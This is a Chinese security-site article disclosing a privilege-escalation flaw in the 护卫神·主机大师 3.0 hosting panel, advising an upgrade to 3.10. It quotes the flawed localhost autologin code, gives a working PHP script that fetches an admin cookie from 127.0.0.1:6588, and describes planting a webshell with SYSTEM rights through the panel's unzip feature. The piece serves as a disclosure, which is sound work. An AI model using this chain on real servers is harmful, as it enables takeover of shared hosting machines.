联系站长 会员登录
服务器安全,SQL防注入,网站防黑--活力安全网
当前位置: 主页 > 故障错误的解决方案 > 护卫神·主机大师重大漏洞,提权漏洞以及修复

护卫神·主机大师重大漏洞,提权漏洞以及修复

更新时间:2018-07-17 08:57 来源:未知 责编:林千城 点击:联系作者
护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+FTP+伪静态+PhpMyAdmin),并可在线开设主机、SQL Server和MySQL;Web方式管理,拥有独立前台和后台面板。支持Windows Server 2008/2012。结合护卫神14年安全防护经验,严格限制每个站点独立权限,彻底阻挡跨站入侵。
这话说的有点绝对性,做安全是没有绝对的安全的,如果哪家做安全的敢那样说,绝对不会出问题那肯定是在对客户的不负责任。安全是相对的,需要知己知彼 双方的配合以及安全的不断完善化才能把安全做道最大化的保障。
先看看装好后的软件界面,可以看到一些常见的主机操作功能。其中网站管理引起了我的注意,点开瞅瞅
点开之后就直接进去了,WTF?
从逻辑流程来看这里很明显有问题,撸开代码看看怎么验证的。虚拟主机管理系统运行在6588端口。且采用asp语言开发。程序路径为x:\HwsHostMaster\host\web\下,且默认为system权限运行。
/admin/index.asp

  1.  
    <%Option Explicit%>
  2.  
    <!--#include file="../conn.asp"-->
  3.  
    <%
  4.  
    Dim strIp
  5.  
    strIp = Request.ServerVariables("local_addr")
  6.  
    Dim strAuto
  7.  
    strAuto = LCase(Trim(Request.QueryString("f")))
  8.  
    If (strIp = "::1" Or strIp = "127.0.0.1") And strAuto = "autologin" Then
  9.  
    '获取管理用户登录
  10.  
    Dim sql,rs
  11.  
    call conn_open()
  12.  
    Set rs = Server.CreateObject("Adodb.Recordset")
  13.  
    sql = "select top 1 * from [huweishen_Admin]"
  14.  
    rs.Open sql,conn,1,1
  15.  
    if rs.RecordCount = 0 then
  16.  
    Session("admin")= "autologin"
  17.  
    else
  18.  
    Session("admin") = rs("username")
  19.  
    end if
  20.  
    rs.Close
  21.  
    Session.Timeout =600
  22.  
    AddLog Session("admin"), 1, "控制台直接登录管理中心"
  23.  
    Response.Redirect "index.asp"
  24.  
    End If
  25.  
    %>
代码乍一看好像没啥问题,但是开发者疏忽了一个问题,第9行判断来源ip是否为本地访问,strIp变量来自Request.ServerVariables(“local_addr”) ,如果为本地访问且strAuto=autologin则直接登入系统,无需账号密码验证,这就出现一个问题了,开发者未考虑内部用户是否合法,如果我获取到一个低权限的webshell、那就相当于获取到一个本地身份了。那么我就可以直接访问到虚拟主机管理后台了。那么就可以为所欲为了。

 

本漏洞利用前提是已经获取到虚拟主机上的一个webshell,其次在通过以下脚本获取cookie即可进入虚拟主机管理后台。

  1.  
    <?php
  2.  
    function httpGet() {
  3.  
    $url = '[http://127.0.0.1:6588/admin/index.asp?f=autologin](http://127.0.0.1:6588/admin/index.asp?f=autologin)';
  4.  
    $ch = curl_init();
  5.  
    curl_setopt($ch, CURLOPT_URL, $url);
  6.  
    curl_setopt($ch, CURLOPT_HEADER, TRUE); //表示需要response header
  7.  
    curl_setopt($ch, CURLOPT_NOBODY, TRUE); //表示需要response body
  8.  
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
  9.  
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE);
  10.  
    curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
  11.  
    curl_setopt($ch, CURLOPT_TIMEOUT, 120);
  12.  
    $result = curl_exec($ch);
  13.  
    return $result;
  14.  
    }
  15.  
    echo httpGet();
  16.  
    ?>
将该脚本上传至服务器,访问后即可获取到管理员cookie。在本地修改cookie后即可进入到虚拟主机管理后台。绕过登录限制。

 

直接访问需要登录
通过脚本获取cookie
修改cookie后直接访问/admin/index.asp,进入后台
进入后台后点击网站列表,随便选择一个网站,点击解压进入操作界面,通过FTP或其他方式上传shell压缩包,然后输入文件名和解压路径,解压路径选择护卫神管理系统路径,一般为X:\HwsHostMaster\host\web\ X为任意盘符。
在我这里普通网站目录和护卫神管理系统都在D盘下,所以采用相对路径指向到虚拟主机管理系统web路径即可点击解压以后,shell就躺在管理系统目录下了。并且为system权限。成功获取到高权身份
该漏洞利用场景较为鸡肋,前提要求已经获取到该主机上的shell,才可采用该方法进行提权。开发者在开发过程中不要对内部不要过于信任,因为你也无法确保内部绝对的安全。
 
解决办法:升级到最新版本。护卫神·主机大师3.0是这个漏洞的载体,收到这个漏洞之后,官网就停止了下载3.0。


最新版护卫神·主机大师3.10版本,不但修复了如上所述的漏洞,还对增加压缩解压功能可能引起的安全漏洞做了严格限制。而且不再需要administrators权限的匿名IIS用户,比之前的版本形式上和实际上都安全了很多。
赞一个
(0)
0%
踩一下
(0)
0%